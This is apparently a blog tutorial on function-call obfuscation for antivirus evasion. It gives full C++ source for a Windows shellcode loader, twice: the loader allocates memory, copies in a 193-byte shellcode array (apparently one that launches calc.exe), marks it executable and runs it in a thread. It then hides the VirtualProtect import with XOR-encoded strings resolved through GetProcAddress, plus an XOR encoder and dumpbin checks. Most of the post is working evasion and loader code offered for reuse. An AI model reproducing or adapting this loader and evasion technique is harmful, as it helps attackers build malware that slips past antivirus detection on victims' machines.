← All posts

Function Call Obfuscation

Hello everyone, I am Irfan Today we are going to talk about function call obfuscation So let’s start and have some fun.…..

First we will talk about why we need to obfuscate function calls. Some AV engines try to look for external function calls that may indicate that the binary is malicious. AV engines will look at the import address table of a PE file and review the functions. Then compares those functions with the functions used by other malware. Function call obfuscation is the method of hiding DLL’s and external functions that will be called during runtime.

Let’s now implement function call obfuscation on VirtualProtect function. First create a file obf.cpp

#include <windows.h>
#include <stdio.h>
#include <string.h>

// shellcode payload

unsigned char shellcode_payload[193] = {
 0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64,
 0x8B, 0x50, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
 0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1,
 0x51, 0x8B, 0x59, 0x20, 0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC, 0xC1, 0xCF, 0x0D, 0x01,
 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
 0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
 0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x5F, 0x5F, 0x5A,
 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
 0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D,
 0x2A, 0x0A, 0x68, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
 0x00
};
// main code
int main(VOID){

// shellcode length
unsigned int shellcode_length=sizeof(shellcode_payload);

// allocate the memory
LPVOID memory_address=VirtualAlloc(
    NULL,
    shellcode_length,
    MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE
);

// load the shellcode in the memory

RtlMoveMemory(
    memory_address,shellcode_payload,shellcode_length
);

// make shellcode executable
DWORD old_protection=0;
BOOL returned_vp= VirtualProtect(
    memory_address,
    shellcode_length,
    PAGE_EXECUTE_READ,
    & old_protection
);

// execute thread
if(returned_vp!= NULL){
    HANDLE thread_handle= CreateThread(
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE) memory_address,
        NULL,NULL,NULL
    );

    // wait for thread to complete
    WaitForSingleObject(
        thread_handle,
        INFINITE
    );
}
}

If you cannot understand this code, I have explained this code in this blog.

Now compile this binary and to see the the imported functions of this binary, You can use this command

dumpbin /imports obf.exe

You can find VirtualProtect there

Now we need to obfuscate it. We will obfuscate it with xor encryption.

Let’s create a xor.cpp file and paste this code in it

#include<stdio.h>

int main(){
    char shellcode_payload[] = "VirtualProtect";

char key[]="mysecretkey";
 int j=0;
 for (int i = 0; i < sizeof(shellcode_payload); i++)
 {  
      if(j==sizeof(key)-1){
            j=0;
        }
    printf("0x%02x, ",shellcode_payload[i]^key[j]);
        j++;
 }
 
}

The code takes a string shellcode_payload and encrypts it using a simple XOR operation with a predefined key mysecretkey. It then prints the encrypted result in hexadecimal format. The key is cyclically reused for encryption, ensuring that the XOR operation is applied to each character in the payload with a corresponding character from the key.

Now compile this program and the output will be

Now copy these hex values and secret key in obf.cpp like this

int main(VOID){

char key[]="mysecretkey";

char sVirtualProtect[]={0x3b, 0x10, 0x01, 0x11, 0x16, 0x13, 0x09, 0x24, 0x19, 0x0a, 0x0d, 0x08, 0x1a, 0x07, 0x65, };
// rest of the code 
}

Now let’s define a function pointer type for VirtualProtect and get the address of the VirtualProtect function with the help of GetProcAddress and a handle to the kernel32.dll module with the help of GetModuleHandle and xor the sVirtualProtect values.

#include <windows.h>
#include <stdio.h>
#include <string.h>

// shellcode payload

unsigned char shellcode_payload[193] = {
 0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64,
 0x8B, 0x50, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
 0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1,
 0x51, 0x8B, 0x59, 0x20, 0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC, 0xC1, 0xCF, 0x0D, 0x01,
 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
 0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
 0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x5F, 0x5F, 0x5A,
 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
 0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D,
 0x2A, 0x0A, 0x68, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
 0x00
};

// shellcode length
unsigned int shellcode_length=sizeof(shellcode_payload);

typedef BOOL (WINAPI * pVirtualProtect)(
   LPVOID lpAddress,
   SIZE_T dwSize,
   DWORD  flNewProtect,
   PDWORD lpflOldProtect);

void XOR(char * data,size_t data_length,char * key,size_t key_length){
    int j=0;

    for(int i=0;i<data_length;i++){
        if(j==key_length-1){
            j=0;
        }
        data[i]=data[i]^key[j];
        j++;
    }
}

// main code
int main(VOID){

char key[]="mysecretkey";

char sVirtualProtect[]={0x3b, 0x10, 0x01, 0x11, 0x16, 0x13, 0x09, 0x24, 0x19, 0x0a, 0x0d, 0x08, 0x1a, 0x07, 0x65, };

HMODULE kernel32Module = GetModuleHandle("kernel32.dll");

// allocate the memory
LPVOID memory_address=VirtualAlloc(
    NULL,
    shellcode_length,
    MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE
);

XOR((char *)sVirtualProtect,strlen(sVirtualProtect),key,sizeof(key));

// load the shellcode in the memory

RtlMoveMemory(
    memory_address,shellcode_payload,shellcode_length
);

// make shellcode executable
DWORD old_protection=0;

pVirtualProtect vp=(pVirtualProtect)GetProcAddress(kernel32Module,sVirtualProtect);

BOOL returned_vp= vp(
    memory_address,
    shellcode_length,
    PAGE_EXECUTE_READ,
    & old_protection
);

// execute thread
if(returned_vp!= NULL){
    HANDLE thread_handle= CreateThread(
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE) memory_address,
        NULL,NULL,NULL
    );

    // wait for thread to complete
    WaitForSingleObject(
        thread_handle,
        INFINITE
    );
}
}

The GetModuleHandle function is a Windows API function used to retrieve a handle to a specified module (a dynamic-link library or executable file) that is currently loaded into the address space of the calling process. This function allows you to obtain a handle to a module based on its module name.

GetProcAddress is a Windows API function that is used to retrieve the address of an exported function or variable from a dynamically linked library (DLL) or an executable (EXE) file. It allows you to access functions or data defined within a DLL or EXE at runtime, without the need for static linking.

Now compile this binary and use this command again

dumpbin /imports obf.exe

You will find there is no VirtualProtect function there. We sucessfully obfuscated the VirtualProtect function.

I hope you enjoyed it, You can follow me here on LinkedIn or Twitter.